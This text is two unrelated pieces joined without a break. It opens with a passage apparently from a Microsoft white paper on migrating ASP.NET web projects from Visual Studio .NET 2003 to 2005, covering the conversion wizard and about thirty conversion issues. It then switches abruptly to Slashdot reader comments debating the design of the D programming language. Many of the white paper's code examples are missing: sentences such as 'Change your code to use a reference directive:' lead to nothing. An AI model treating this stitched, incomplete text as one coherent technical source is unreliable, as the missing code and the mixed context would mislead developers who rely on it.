auto-generated partial class that defines the field declarations for the controls used in the content page. This change allows the auto-generated code to be separated from the user's code, and makes the code-behind page much smaller and cleaner. The partial class structure also reduces the risk of inadvertently breaking the page by editing designer generated code. - Compilation model (one assembly to many assemblies). In Visual Studio .NET 2003 all the code-behind class files, and support code are precompiled into a single assembly with a fixed name. In Visual Studio 2005, multiple assemblies are created on the fly (by default) with uniquely generated filenames. For example, the default behavior is to compile all Web forms and user controls in a folder into its own assembly. The common source code in the App_Code folder will automatically be compiled into its own separate assembly. This new compilation model causes some changes in the structure of a Web application, but greatly enhances the options for deployment and how the Web application is served on the Web server. - Deployment options (precompile, full compile, updateable sites, etc). In prior versions of Visual Studio, Web applications are precompiled and deployed as one large assembly. Content pages (e.g. *.aspx or *.ascx) are not compiled and editable on the server. Thanks to the new page compilation model and folder structure in Visual Studio 2005, you can deploy a Web application in many different configurations. At one extreme, you can precompile all the content pages, their code-behind class files and its hidden designer page and deploy a Web application that consists of fully compiled assemblies. In this mode, your application cannot easily be changed on the server. At the other extreme, you can deploy an application with no precompiled code at all. In this configuration, you can change the content pages, code-behind class files, or any other code in the application on the server directly. The pages will be dynamically compiled when a user asks for the page from the server. Each of these operational changes may require you to modify your application architecture and deployment process either before or after converting your Web application. New Features Converting your Web application will make your application more powerful, flexible, and maintainable. Although this article focuses on the mechanics of converting your application, you can learn more about the new Visual Studio 2005 and ASP.NET 2.0 features through the following links: - Feature Overview This white paper will give you a good overview of the new features available with ASP.NET 2.0. If you are looking at leveraging ASP.NET 2.0 content on a site built with ASP.NET 1.x, you should read through this paper to see what is available for you. - Personalization ASP.NET 2.0's personalization features, called Web Parts, let you design your Web site to be reactive to individual users. You can, for instance, let each user pick a site layout or color scheme and have that information preserved between visits. Web Parts allows you to provide personalization features with a minimal amount of new code. - Data Access Not only has ADO.NET been updated for the .NET Framework 2.0, but ASP.NET 2.0 also now includes a new set of data source controls and features for data access. - Master Pages In traditional ASP.NET, most developers struggle with designing a Web application framework that combines code reuse with flexibility. Master pages give the best of both worlds by introducing true inheritance. You can set up a master page that contains your header, footer, and navigation bar, and then create child pages that fill in the content while automatically inheriting the look, behaviors, and features of the master page. - ASP.NET Development Server A stand-alone, development-only Web server is now bundled with Visual Studio 2005. This server, code-named "Cassini," allows users to develop and test their Web applications without having to have IIS installed on their development system. This server can be used only for development. When you deploy your application to production, you will need to use an IIS server configured with ASP.NET 2.0. Converting a Web Project Converting a Web Project involves more than just changing your framework version! There are three parts to a conversion: - Before Conversion – reviewing and possibly altering your Web project architecture before running the conversion wizard. - Conversion – running the Visual Studio 2005 conversion wizard to convert your Web project. - Post Conversion – resolving any issues the conversion wizard did not catch or was unable to resolve. For parts 1 and 2, you should read and apply the steps outlined in Step-By-Step Guide to Converting Web Projects to Visual Studio .NET 2005. For part 3, you should apply the solutions outlined in this white paper. The Conversion Wizard Visual Studio 2005 has a built-in conversion wizard to help you convert your Web applications. This wizard automates many of the basic steps necessary to convert your application to use ASP.NET 2.0 features. Running the Wizard The conversion wizard is automatically invoked whenever you open a Visual Studio .NET 2003 Web project in Visual Studio 2005. The wizard detects the presence of a Web project file (e.g. *.vbproj or *.csproj) in the application folder and automatically starts the conversion process. Figure 1. The Conversion Wizard The first choice you have to make is to create a backup of your application before conversion. It is highly recommended you make a backup! Figure 2. Backup your application If you choose to create a backup, Visual Studio 2005 will automatically create a copy of your Web project in the folder of your choice. Note Make sure you put the backup folder outside of your Web application's folder tree. See the Backup folder in the Web application folder issue for full details. Next, you will see a summary screen of the conversion process and have one last opportunity to back out of the conversion. Please note two things about this summary screen: Note The first paragraph is incorrect since it states a Web project will be checked out from source code control before changes are made. This is true for Visual Basic and C# client projects, but not Web projects. Instead, the Web project conversion wizard will ignore source code control and change files it must modify to read-write. The Web project will be converted in-place, which is why making a backup is both recommended and important. Figure 3. Summary screen The conversion may take a few minutes, depending on the size of your application. When it completes you will see a message indicating your Web project was converted. You may also see a message about some warnings or errors. Warnings and errors occur when the conversion wizard has made changes that may modify the behavior of your application, or when it can't completely update your Web project. Figure 4. Conversion completed After the conversion is complete, you are ready to look at the conversion report to see if you have to perform any additional manual steps to complete your conversion. The Conversion Report The conversion wizard will record the changes it makes to your Web project in both an XML and a text file. When the conversion wizard finishes it displays the XML version of the report. This report will show you any issues encountered by the wizard and code areas where you may need to take additional steps to complete the conversion. The report is divided into sections for the converted solution and one or more projects. The solution report will almost always be error free. However, the project sections may have multiple issues listed for each file in your project. You should review this section and resolve any issues reported by the conversion wizard. Figure 5. Conversion report (click for larger image) If you close the conversion report, you can always find a text version at the top level of your converted project. Note In the final release of Visual Studio 2005, the name of the text report is ConversionReport.txt. Future releases will rename this file to ConversionReport.webinfo. The text version will be found in the Web application's root folder. Notification Types Each item in the report falls into one of three categories: - Comments—informs you of actions taken by the wizard. You will see many comments about files that were deleted or moved, and code that was deleted or commented out. Comments are listed in the text version, but omitted in the XML version, of the conversion report. - Warnings—A warning is generated whenever the wizard has to take an action that may cause a behavioral change or possible compilation error in your application. Warnings are items you want to review, but may not need to act on. - Errors—An error item is generated if the wizard encounters something that it cannot automatically convert. These items require your effort to complete the conversion. Generally, an error is something that will generate a compilation error if you try to run the application. Part 2: Common Conversion Issues Although Visual Studio 2005 is designed to work with code developed using Visual Studio .NET 2003, you may encounter one or more common conversion issues. In this section, we will look at several of the most common issues. Note The conversion wizard has been upgraded in the final release of Visual Studio 2005, and may automatically detect and fix some of the following issues. However, if the wizard misses a particular issue, the solutions described below can be applied manually to finish converting your Web project. Issue 1: Code-behind class file (CB-CB) references Note CB is an acronym for the code-behind file for either a Web form (*.aspx) or a user control (*.ascx). The new compilation model uses multiple assemblies that are normally dynamically compiled on the server. This model improves both Web site performance and updatability. However, if your code-behind files reference another code-behind file, then you will have a broken reference because the referenced code-behind file will no longer be in the same assembly. Here are some common ways it may be triggered: - Using a Web form or user control as a base class to another Web form or user control. - Using LoadControl()and casting the result to another user control, for example UserControl1 c1 = (UserControl1)LoadControl("~/UserControl1.ascx"); - Creating an instance of the Web form class, for example WebForm1 w1 = new WebForm1(); where WebForm1 is a class defined in a code-behind file for a Web form. How to fix To resolve the problem, you will need to change your application so the reference can be found. Since this is a CB-CB reference, the easiest way to resolve is to add a reference directive to the Web form or user control that is making the reference. This will tell the compiler what assembly to link to. Let's assume you have the following situation: Change your code to use a reference directive: By using the reference directive, you are explicitly telling the compiler where to look for the Web form or control you want to use. Note that in the final release of Visual Studio 2005 the conversion wizard will do this automatically for you. Issue 2: Stand-alone class file (SA–CB) references Note SA is an acronym for a stand-alone class file. You may encounter another type of broken reference if you have a stand-alone class file that references code in a code-behind class file. This is similar to a CB-CB broken reference, except you have a stand-alone class file in the App_Code folder trying to reference a separate page assembly. A common way it can be triggered is by accessing a class variable in the CB class. How to fix Fixing an SA-CB broken reference is more involved. Since the problem occurs in an SA file, you cannot use a reference directive to find the reference. Also, after conversion, the SA file is moved to the App_Code folder so the class file will only have access to the App_Code assembly where it is compiled. The solution is to create an abstract base class in the App_Code folder to reference at compile time, which will load the actual class from the page assembly at run time. Let's assume you have the following situation: Change your code to use an abstract base class: The abstract base class will allow both standalone class files and CB files to find a class during compilation (named Control1 in this example) since it now exists in the App_Code folder. However, the standalone class file will use late-binding to load the original class (renamed to migrated_control in this example) during runtime. Note: in the final release of Visual Studio 2005, the conversion wizard will create this code for you automatically. Issue 3: Circular references A circular reference happens when a code-behind file references another code-behind file, which in turn references the original file. It can happen with two or more code-behind files, e.g.: It can also happen between assemblies, where one assembly references another assembly, which in turn references the original assembly, e.g.: How to fix The solution for first type of circular reference is to create an abstract base class in the App_Code folder with one of the references, then remove the Reference directive from the associated Web form or user control file. This will break the circular reference. The second type of circular reference is a by-product of the ASP.NET compiler "batching" assemblies together for performance reasons. By default it will take the Web forms and user controls in a folder and compile them into an assembly. There are several ways to solve this issue, but we recommend moving the referenced pages (e.g. Pages2.aspx.vb and Pages3.aspx.vb) to their own folder. By default, the ASP.NET compiler will create a separate assembly containing these pages and the circular reference will be removed between Assembly A and B. Issue 4: Resource Manager In Visual Studio .NET 2003, a resource manager is used to manage resources in your Web application. A typical example would look like the following: This type of code is problematic since it depends on you knowing the name of the assembly to load, which is no longer a fixed name in Visual Studio 2005. How to fix Since Visual Studio 2005 uses non-deterministic assembly naming, you will need to change your code to use the new resource model. The easiest way is to move Resource1.resx to a special folder named App_GlobalResources. Visual Studio 2005 will automatically make any resources found in this folder available via strong naming (and discoverable using IntelliSense) to your Web application. Here is the converted example: This is just one way to use the new resource model in Visual Studio 2005—you should review the resource model documentation to discover the new capabilities in this model. Issue 5: Excluded files are no longer excluded In Visual Studio .NET 2003, you had to explicitly decide whether or not to include files in your Web project. If a file was not explicitly listed as included, then the file was excluded from the project. You could also stop a code file from being built by setting its build action to "none". This information is stored in the project file. When converting, several issues have to be considered, e.g.: - A file that is excluded from one project may be included in another project - Should you try to convert an excluded file, since it may just be a code snippet the user wants to remember? In the final release of Visual Studio 2005, the conversion wizard will leave excluded files as-is and note them in the conversion report. As a result, your Web project will contain extra, unconverted files that are now part of your project. Depending on the file's extension, the compiler may try to compile the file, which may cause conflicts in your application. How to fix After conversion, you can delete any formerly excluded files you do not want from your project. You can also use the "Exclude from Project" feature (found on the Solution Explorer menu) to exclude them by renaming them with the safe extension ".exclude" to effectively remove them from your Web application. Note files excluded with the ".exclude" extension are still part of the Web project but they will not be compiled, nor will these files be served by IIS/ASP.NET if they happen to be on the server. Note future releases of the conversion wizard will be more proactive and exclude files when it is considered safe to do so. Issue 6: Orphaned resx files Visual Studio .NET 2003 generated a resx (resource) file for Web forms and user controls. In general, users did not use them since they were auto-generated and could potentially overwrite user-added code. After conversion, these resx files are not deleted since the migration wizard is not sure if the user has added resources that need to be saved. How to fix Review the generated resx files and save user data to its own resource file. It is fine to combine this data into one resource file. Move the resource file to the special folders App_GlobalResources or App_LocalResources as appropriate so it is available to your Web application. After saving the user data in this way, delete the generated resx files from your Web project. Issue 7: Extra types in a code-behind file In Visual Studio .NET 2003, it was possible to share types (e.g. structs, enums, interfaces, modules, etc.) across different pages by storing the types in a code-behind file for one of the Web forms or user controls. This model breaks in Visual Studio 2005 since a Web form and user controls are compiled into their own assemblies—the extra types will no longer be discoverable. How to fix After the conversion wizard has converted your application, just move any non-private extra type to its own standalone code file in the App_Code folder. You will also need to change the access modifier for the type to public since it has to work across assemblies. The shared type will automatically be compiled and discoverable throughout your Web application. Issue 8: Accessing an auto-generated control variable In Visual Studio .NET 2003, the code-behind class file contained both user and auto-generated designer code. The latter could contain both control variable declarations and page functions. Although it is not recommended, some developers changed the access permission of the control variables to Public so they could be modified from outside their class. An example looks like this: In Visual Studio 2005, this change will not work since the user and auto-generated designer code is separated using a partial class. A partial class allows a class to span more than one file, and is used to maintain a clean separation between user and auto-generated code. How to fix In general, it is recommended you change your code to not depend on the changed access level of auto-generated code. However, there is a workaround that is useful if you have hundreds of places in your code calling such auto-generated control variables, and you need to quickly get your code running. You can rename the original control variable to something else, then create a public property to access your renamed control variable. For example: Issue 9: Unable to switch to design view The new Visual Web Designer built into Visual Studio 2005 is more strict about proper HTML than is Visual Studio .NET 2003. If your aspx page contains mismatched tags or poorly formed HTML, then the designer will not let you switch to design view inside Visual Studio 2005. Instead, you will be restricted to code view until you fix the problems. This issue occurs because of the new source code preservation and validation functions built into Visual Studio 2005. How to fix All you can do to avoid this issue is make sure that the tags in your aspx pages are well formed. If you encounter a problem switching from code view to design view post-conversion, then the problem is almost certainly a bad tag. Issue 10: Unable to parse filename You may see a slightly ambiguous error message informing you that a file could not be parsed. This means either the 'Codebehind' or 'Src' attribute could not be found above the HTML tag. If your Web form or user control does not contain either of these attributes, then the wizard cannot find the matching code-behind file and cannot convert the page. How to fix If this happens to a pure HTML page then this error can be ignored—you will often encounter this error if your application has pure HTML pages that use the aspx extension. To avoid this issue, make sure you name your html files appropriately and use the 'Codebehind' and 'Src' attribute in your Web forms and user controls above the HTML tag. Note in the next release of the Web project migration wizard, this error will be made more descriptive by using the following messages. - "Warning: Unable to parse file %1, since no code-behind attribute or page/control directive found." - "Warning: The code file %1 is not a valid code file." Part 3: Other Conversion Issues Here are other, less common conversion issues you may run across. Issue 11: Backup folder in the Web project folder As mentioned before, Visual Studio 2005 normally considers all files in a folder or sub-folder to be part of the Web project. By default, the conversion wizard will create a backup of your Web project in a safe location, but it is possible for the user to overwrite the default. If you put the backup folder in the Web application's folder tree, you will get this somewhat cryptic build error: Error 1 - It is an error to use a section registered as allowDefinition='MachineToApplication' beyond application level How to fix Make sure your backup location is not in the Web application's root folder or sub-folder! Issue 12: Multiple projects in the same location If you have a Web project sharing a folder location with another project in the same solution, Visual Studio 2005 will consider all files found in that folder part of a single Web application. If they are all Web projects and they are truly separate, i.e. self-contained, then converting those into a single Web application may not cause a problem. However, you may want to keep these projects separate if: - It is a mix of Web and client projects - Different code languages are used - Aesthetic reasons How to fix If they are a mix of Web and client projects, then simply move the client project files into their own folder. If different code languages are used, it is recommended you move the Web projects into separate folders for conversion. Later, if you want to merge these Web projects into a single, multi-language Web application, review the Visual Studio 2005 documentation on structuring the App_Code folder and Web.config for multiple languages and merge your Web projects manually into a single Web application. Issue 13: Multiple projects referring to the same files If more than one project refers to the same set of files, then it is possible for those common files to be migrated twice. How to fix Make sure that a given file is only referenced by one project file. Usually, multiple projects referencing the same set of files means there is a duplicate or old version of the project file in the folder. In this case you can remove or rename the extra project files to resolve the issue. If there is a true need to have multiple Web projects refer to the same set of files, then it is best to move the common files into their own separate client project, and then have the multiple Web projects refer to that separate client project. Please refer to Step-By-Step Guide to Converting Web Projects to Visual Studio .NET 2005. Issue 14: Invalid access modifier After converting your Web project, you get an Invalid Access Modifier error. Since Visual Studio 2005 now uses multiple assemblies, the access level to member variables and functions need to be modified if you want to access them from another assembly. How to fix Review your code and change the access level to allow access. Normally changing the modifier to public will solve the problem. Note You should always consider the security of the member variable or function before doing this, i.e. we do not recommend doing this blindly. Issue 15: Converting excluded files Excluded files will not be converted by the conversion wizard—so how can you get the conversion wizard to convert these files? How to fix Prior to conversion, temporarily include the file you wish to convert in your Web project and make sure its build action is not set to "none". After the conversion, the file will be converted. You can then use Exclude from Project feature (found on the Solution Explorer menu) to exclude the file again. Issue 16: Duplicate variable declarations After conversion, you may find control objects declared via client scripts are also declared in the partial class. An example could look like the following: How to fix By design, the conversion wizard does not parse client script and will not catch this reference. To resolve, simply remove the declaration from the partial class and your code will compile. Issue 17: Sub-Web applications As mentioned before, Visual Studio 2005 normally considers all files in a folder or sub-folder to be part of the Web project. However, it is possible to designate a sub-folder as its own Web application by using the IIS manager (inetmgr) to set the sub-folder as an IIS virtual folder. When Visual Studio 2005 discovers this virtual folder, it will not consider it part of the Web application. This works if you open your Web project via HTTP. The problem occurs if you open the Web project via File Location. In this case, Visual Studio 2005 will not know it is an IIS configured Web application and will not discover the IIS meta-information stating a sub-folder is a virtual folder. Visual Studio 2005 will now try to open and compile the Web application along with the sub-Web application. The conversion wizard will give you the following warning if you convert a file-based Web project. Warning: This Web project was converted as a file-based Web application. If your site contained any IIS meta-information, e.g. sub-folders marked as virtual directories, it is recommended that you close this Web site and re-open it using the Open Web Site command and selecting the Local IIS tab. How to fix Be sure to mark sub-Web applications as virtual directories using the IIS manager (inetmgr), and to open the Web project via HTTP rather than File Location so the IIS meta-information will be found. Issue 18: OnInit() not removed In Visual Studio .NET 2003, the designer added auto-generated member functions OnInit() and InitializeComponent() to the code-behind class file. These functions are not used by Visual Studio 2005 but will be called if they exist. The functions are not removed by the conversion wizard. This behavior is by design since the wizard does not know if user code exists within these functions, so the code is left as-is in the code-behind file. How to fix After reviewing the functions to make sure there is no user code that should be saved, remove these functions from the code-behind file. Issue 19: XHTML validation errors After converting your Web project, or when opening a converted Web project, you see XHTML validation errors in your error window after building your Web project. This is a feature of Visual Studio 2005, and is designed to help you write more XHTML compliant code. (Click the graphic below for a larger image.) How to fix To fix, you should change your code to match the level of XHTML standard you are targeting. For example, a strict level would be "XHTML 1.1". If you want to turn off the showing of these errors, you can set the validation level to a less strict level. By default, when a Web project is converted, the validation level is set to "Internet Explorer 6.0" which is close to the validation level used by Visual Studio .Net 2003. You can set the validation level by clicking Tools, then selecting Options, and then selecting the appropriate level on the Text Editor/HTML/Validation dialog. Issue 20: Multiple configurations Visual Studio .Net 2003 allowed Web projects to have multiple configurations, e.g. Release and Debug, to configure your build and deployment environment. Visual Studio 2005 only supports one configuration per Web project. During conversion, the Debug version is the default unless a custom configuration is found. In this case, a dialog will prompt you to choose the configuration to use in the converted Web project. How to fix As a workaround, use two or more Web configuration files corresponding to the configuration you want to support. Copy the version you want to use to Web.config during your operation. For example, you could have a Web.config.release file for your release configuration and a Web.config.debug for your debug configuration. Copy the appropriate one to Web.config when debugging or deploying your Web project. Note Web Deployment Projects, a technology preview feature available as a VSIP add-in for Visual Studio 2005, will provide true configuration support for Web projects. See the "Visual Studio 2005 Web Deployment Projects" white paper on for more detail. Issue 21: Auto-generated members hide inherited members If you use base classes to define control variables (Label1, for example) or event handlers for use in derived classes, then you might find that these members are hidden by auto-generated members for the page's partial class in Visual Studio 2005. Visual Studio 2005 generates the page class and does not normally see the inherited members. So it would generate control variables or event handlers that would hide the inherited members. How to fix ASP.NET 2.0 provides a new attribute called CodeFileBaseClass to handle this situation. The @Page and @Control directives now support this new attribute, which specifies the grandparent class for a page. The compiler uses this attribute during class generation to get a reference to the page's base type and generate code that does not hide inherited members in the base type Issue 22: Ambiguous references and naming conflicts The .NET Framework 2.0 adds a host of new namespaces and classes. Several of these are likely to cause clashes with ASP.NET 1.x applications. For example, the new personalization features introduce classes with the names of Profile, Membership, and MembershipUser. The Profile name, in particular, is fairly commonly used by developers who want to keep track of user information. Therefore if you have a Profile class in your application, and you try to use any of the new personalization features, you may encounter compiler warnings about ambiguous class references. How to fix Planning ahead for naming conflicts can be rather difficult. You will want to take a quick look through the new ASP.NET classes. If you see any names that might conflict with what you have in your application, you might consider using explicit naming. For example, use System.Web.Security.Membership instead of importing/using System.Web.Security and then using the Membership class. Issue 23: Event handlers called multiple times Because of the way that the conversion wizard merges code-behind files and aspx pages, you may encounter scenarios where an event gets called twice (page load, for example). This scenario occurs if you had event wireup code in your code-behind file that wasn't in the InitializeComponent method. The conversion wizard is only smart enough to remove duplicate wireups if they are in the InitalizeComponent method. You may have a difficult time noticing this error because in most cases a second event firing will be harmless. However, if you do discover that an automatically called event is occurring multiple times, you should examine your converted code-behind file to see if the handler has been wired to the event twice. If so, you will have to manually remove the second wireup. How to fix You can avoid this issue entirely by scanning your existing code and making sure that all event wireups are contained in the InitialzeComponent function for the code-behind file or by setting AutoEventWireUp=False in your page. Issue 24: Code-behind files moved to the App_Code folder After the conversion wizard runs, you might find some of your code-behind files (*.aspx.cs or *.ascx.vb, for example) moved to the App_Code folder. This usually indicates your content page has a malformed Codebehind directive and is not set correctly to the code-behind file. In other words, the conversion wizard wasn't able to determine that the code-behind file was actually tied to a specific aspx page. The conversion wizard will automatically move all standalone class files (for example *.cs or *.vb) to the App_Code folder. If you have a malformed Codebehind directive, then the code-behind file will be considered a standalone class file and moved to the App_Code folder. Note Web service files (e.g. *.asmx and *.asmx.cs) are different from normal content pages and their code-behind page. The code-behind for a Web service file is meant to go in the App_Codefolder, so if you find one there it is not an error. It is also possible that a Web form or user control was migrated twice—see the Multiple Web Projects Referencing the Same Files issue for ways to correct this issue. How to fix Prior to conversion, you can avoid this issue by making sure your Codebehind directive is correctly set in all your content pages. After conversion, move the code-behind file to the same folder as the associated content page and correct the content page's Codefile (renamed in ASP.NET 2.0) directive to point to that code-behind file. Issue 25: Projects referencing a Web project In Visual Studio .Net 2003, it was valid to have a project reference a Web project's assembly. This will not work in Visual Studio 2005 since Web projects create multiple assemblies and the file name of the assembly can change from build to build. How to fix Prior to conversion, you will need to move common, shared code to a separate class library, and reference that library instead. If you are using shared user controls, then you will have to create base classes that exist in the class library to be referenced by the other projects, and have the Web project's user controls derive from them. For more information on this design pattern, refer to Step-By-Step Guide to Converting Web Projects to Visual Studio .NET 2005. Issue 26: Sharing the same code-behind file It is possible to have several pages share the same code-behind class file. This may be by user design or a result of copying a Web form or user control and not updating the @Page directive properly. This can confuse the ASP.NET 2.0 compiler, which expects each Web form or user control to contain a unique code-behind file. You may get build errors or invalid run-time behavior when running the converted code. How to fix Prior to conversion, change your code to use a unique code-behind file for each Web form and user control. If you wish to share common elements between several Web forms or user controls, then move those common elements to a base class, and have the Web forms or user controls derive from that base class. Issue 27: Partially converted solutions In both Visual Studio .NET 2003 and Visual Studio 2005, it is possible to have a solution that contains both Web projects and client projects, for example a C# or Visual Basic class library or Windows application If you are using an express product, such as Visual Web Developer or Visual Basic Express Edition, you will be able only to convert projects in the solution that relate to the express product. For example, if you are using Visual Web Developer and open a solution with a Web project and a Visual Basic class library project, only the Web project will be converted, leaving you with a partially converted solution. How to fix You should use either the Standard, Professional, or Team System editions of Visual Studio 2005 to convert solutions containing multiple, mixed project types. If that is not possible (you have only an Express edition), then you should create a new solution containing only the supported project type. Issue 28: No command-line migration for C# Command-line migration for Visual Basic Web projects is possible by using the command " devenv.exe <PorSfile> /upgrade", where <PorSfile> is a Visual Basic Web project file or a solution containing such a file. Unfortunately, a C# bug was found late in the product cycle where an invalid C# code model is given to the Web project conversion wizard. As a result, errors are introduced to the Web application during a command line C# Web project conversion. Since command-line conversion is considered a secondary feature as compared to converting via the user interface, and a C# fix for this bug threatened the release date for Visual Studio 2005, the bug was not fixed in the final release. How to fix There is no fix but the workaround is to use the user interface to open and convert the Web project or the solution containing the Web project. Issue 29: Batch = True or False As mentioned in Web Project Changes, the ASP.NET compiler's default behavior is to compile all Web forms and user controls in a folder into its own assembly. The Batch attribute can be set in Web.config to change the compiler's behavior. For example, the following code segment will direct the compiler to compile a given Web form or user control into its own assembly (creating more assemblies than normal). There are several issues you should be aware of when using this attribute. - Performance—when Batch=false, the ASP.NET compiler will create an assembly for every Web form and user control in your Web application. It also causes the compiler to do a full compile, not an incremental compile, in Visual Studio 2005 when you build using F5. The net result is your Web application may run slower when deployed, and your build times will increase significantly in Visual Studio 2005. - Assembly References—the Batch attribute may hide potential broken assembly references (when Batch=True), or even introduce a Circular Reference (when Batch=False). How to fix After you run the conversion wizard on a Web project, you should temporarily set Batch=False while you finish the manual steps to convert your Web project. This will make sure you catch any assembly reference issues. After your Web project is fully converted, you should set Batch=True for normal development and deployment. Note When you deploy your Web application, you should do one final check with Batch=False to make sure no assembly reference issues were introduced during development of your Web application. After you have done this check, be sure to turn Batch=True again. Summary Converting an application from Visual Studio .NET 2003 to Visual Studio 2005 is generally a smooth process. However, you have to make sure that your development and deployment environments are properly configured. You also have to evaluate your conversion report to resolve any potential issues not handled by the conversion wizard. You may also wish to review your application ahead of time and plan ahead to avoid known issues with the conversion. Future Releases Given the importance of Web project migration, we are always looking for feedback to improve this experience. We plan to update the migration wizard as needed even after the official release of Visual Studio 2005 in November 2005. If you have questions or feedback, then please post them to the "Visual Studio .NET 2003 to Visual Studio 2005 Migration" forum located at. Appendix A: Actual Error Messages
https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/aa479312(v=msdn.10)
CC-MAIN-2019-13
refinedweb
7,547
52.49
>>." A critique (and take a look at Ocaml) (Score:3, Interesting) o Multiple inheritance is absolutely necessary. The main way it is useful is for Java-style interfaces. o Getting rid of macros (preprocessor) is a very bad idea. What is needed is even more powerful macros (see Lisp). o Generic programming with templates is the greatest thing about C++ -- the one feature that puts C++ above other programming languages. I'd rate generic programming capability as being a "must" of any modern programming language. o Operator overloading is a Good Thing, in that it helps you set up a well-designed library as a "mini-language". Good programming practice involves reducing the number of keystrokes required to achieve a given result (ultimately). Generic programming, macros, and operator overloading all go in this direction. Eliminating them is a step backward. o You say "smart pointers are irrelevant in a garbage collected language". Not true. There are many types of resources which a destructor might free besides memory. One weakness of Java vs C++ is that it is hard to control Java's "destructors". The "best" programming language (for general-purpose "big" programming projects) I've encountered may be Ocaml. It can compile into native code as efficient as C++'s. It can also be interpreted. It is stronly typed. It supports a powerful "functional" programming idiom. It looks pretty good to me, although I haven't used it for anything "real" yet. But if you're looking for the "be-all, end-all" modern programming langauge, I think Ocaml's worth taking a look at. Sounds Ok but needs Interfaces... (Score:2, Interesting) Here's my 2 cents: D Sounds ok. I DO like the idea that a typedef actually creates a new type. But as a C++ programmer of 9+ years who is not "terrified" of managing his own memory, and who thinks that operator overloading and templates are cool, I have some issues with the draft standard as it stands: 1) Templates: I hope that Mr. Bright does find an answer. I agree that C++ template syntax is tough, but the power of generic programming is far too great a feature to drop for large applications! 2) Operator overloading: I like it, many people don't. Used properly you can make some very cool looking type safe code. I don't think a very powerful feature should be dropped from a language just because some people are idiots. C++ is not a toy; and neither should it's successor be. 3) Interfaces: Hello out there? The world has gone distributed. How about direct language support for CORBA interfaces? Now THAT would be a slick feature to add to an extended C++ language! 4) Standardize the name mangling! Name mangling issues are what make different C++ compilers incompatible; let's fix this oversight... 5) Garbage Collection: I'm ok with garbage collection but DO give me a way to override the collector! There will always be situations where I know I can get rid of something but the garbage collector wouldn't see it that way. DO give me a way to manually kick off a garbage collection cycle and DO give me a way to manually delete things. 6) I'm working on a million line+ surface ship combat system right now. One thing that the old Ada programmers keep screaming about is the inability to get very fine grained control over numbers; and for this application I can see why they are complaining. What's needed is a way to enforce the domain of a numeric type, ala low bound high bound with an exception thrown for invalid values. Very fine grained control over coordinate and range values is key to a large class of military applications. I've been pondering my own new language too. Maybe I should go for it. My language would look alot like C++/D - with the items listed above - plus some other ideas that I've been pondering... --Richard Re:A critique (and take a look at Ocaml) (Score:2, Interesting) Sure, and such surveys as have been done have repeatedly shown that your typical programmer will average roughly the same number of lines of code in a given period of time (about 20 per day, usually). Thus, the more power there is in each of those lines, the better. It should be. If it's not pretty much immediately obvious what a + operator means in a given context, then it's clearly a bad use of operator overloading. (Granted, it does get widely abused. So does inheritance. That's not to say these things can't be very useful when used properly.) What many people ignore is that operator overloading, like the option to use value or reference semantics, is important to allowing user-defined types to function just like built-in ones. C++ is one of the few languages that (almost) achieves this. As a result, you can do things like writing nice generic algorithms using templates, which is still a much under-rated but incredibly powerful feature. For example, in C++, I can write a "sum" algorithm that iterates over an array of values, and +s them all. On ints, you get the sum of the values. On complex numbers, with a suitably overloaded operator+, you also get the sum of the values. On strings, if I've defined + to mean "concatenate" (which even those langauges claiming operator overloading is bad actually do) then I get the concatenation of several strings. All of this makes sense and is nicely consistent. It's just that in C++, it's fully controllable, whereas in Java, you're stuck with + meaning concatenate with a String, whether you like it or not. Syntax Erros in Example? (Score:1, Interesting) Hmm... Garbage Collection vs. Virtual Memory (Score:3, Interesting) Meaning that, since the garbage collector has to periodically walk all of the heap of a process, it would seem to me that it would thus periodically force any pages that are paged to disk to be brought back in by the VM even if they didn't need to be otherwise. I used to do alot of Java programming, and I got the uncanny feeling that every time my program grew very large (which was very often - Java programs use *soooo* much memory, don't know if it's just a general tendency of GC or if it's Java's implementation) the system would thrash quite a bit more than if I wasn't running any Java programs ... and I came to believe that it might have something to do with the garbage collector forcing the OS to load every page of the process into memory as the GC swept through, so everything that modern OS's do in terms of trying to streamline VM kind of gets thrown out the window when garbage collectors are forcing every page of their process to be loaded in periodically. Just wondering why no one has ever made the point (to my knowledge, anyway) that garbage collectors may be very bad for virtual memory performance. It seems quite likely to me, anyway. Otherwise, I like just about every idea in the D language, especially his Name Space notion - although I didn't read too much detail of his spec, at least he's thinking about it. I hate the fact that modern languages are based on string identifiers during linking; there's no formal mechanism whatsoever of avoiding clashes in the namespace (Java's class package name idea is a small step in the right direction), and it really seems stupid to me that shared libraries should be carrying around all this string baggage, and doing all these string compares during linking ... Anyway, that's how I see it. Languages should be written for programmers (Score:2, Interesting) As a programmer that's worked with about 15 languages over 18 years what I really want is a language that: 1> Is as quick to program in as php/perl/python. 2> Is still managable for large projects. 3> Is as fast as C/C++. 4> Is easy to port across platforms(porting Quake V from Linux to Windows should just be a recompile). 5> Performs in a predictable manner(no wierd behavior out of the basic operations every language has in common). 6> Memory management should be handled automatically. 7> Integrates seemlessly over networks. Is this too much to ask for? Maybe? (Score:3, Interesting) Maybe it's time for a new language to be born out of practical experience writing software. I don't know how it is in Linux, but I really hate having to write several hundred lines of code for a single window w/controls in Window API calls. Personally, I'd like to see MS get rid of those API calls (and don't replace it with ActiveX until ActiveX works). Between the ones that don't work as documented and the rest of them being overly cumbersome, it's just a hassle. Especially when you have to create your own encapsulation objects for those things. I like Delphi because of its encapsulation of the visual components, but their base library sucks in itself in that it doesn't expose all the functionality. And since they saw that it was so important to declare everything as PRIVATE methods, you can't get descendent object to do everything you want either because you don't have access to all the base functionality. Simplicity shouldn't be taken to the extreme either, and gear a new language towards the non-programmer crowd like MS tries to do. Of course MS is just making things worse right now by implementing these new Luna APIs for XP. I'm sorry, but I don't know of anybody thats been really dying for the ability to use API calls to put a gradient on a button. In my opinion, this is just MS's attempt at trying to get developers to waste time, so they don't work that hard on developing new products that may compete with MS. Useful? Not Really. (Score:3, Interesting) What D will implement in the core language is really meant for the standard library. Not everyone needs resizable and bounds checked arrays (the bounds checking is the one with the real overhead). If you are coding a kernel or something low level, the overhead isn't neccesary. If I don't need to resize my arrays, I just don't #include <vector>. Simple as that. Also, there are no prototypes. Now, tell me, how does one get the source for a 3rd party proprietary library and read the source for the documentation? Often times, I document my code by putting a 3 or 4 line description of what the class [member|function|data type] does below its declaration in the header. If I forget what a function does, I just open the header in another frame in emacs and read its description (which has such useful information as what it uses its arguments for, what exceptions it may throw, what it returns, and whether or not it will modify an argument). It is also much easier to see what members are in a class when you can look at a simple declaration with the outline of class, instead of having to wade through 50 line members to see the next member. That just makes the class look messy, unless each function was only 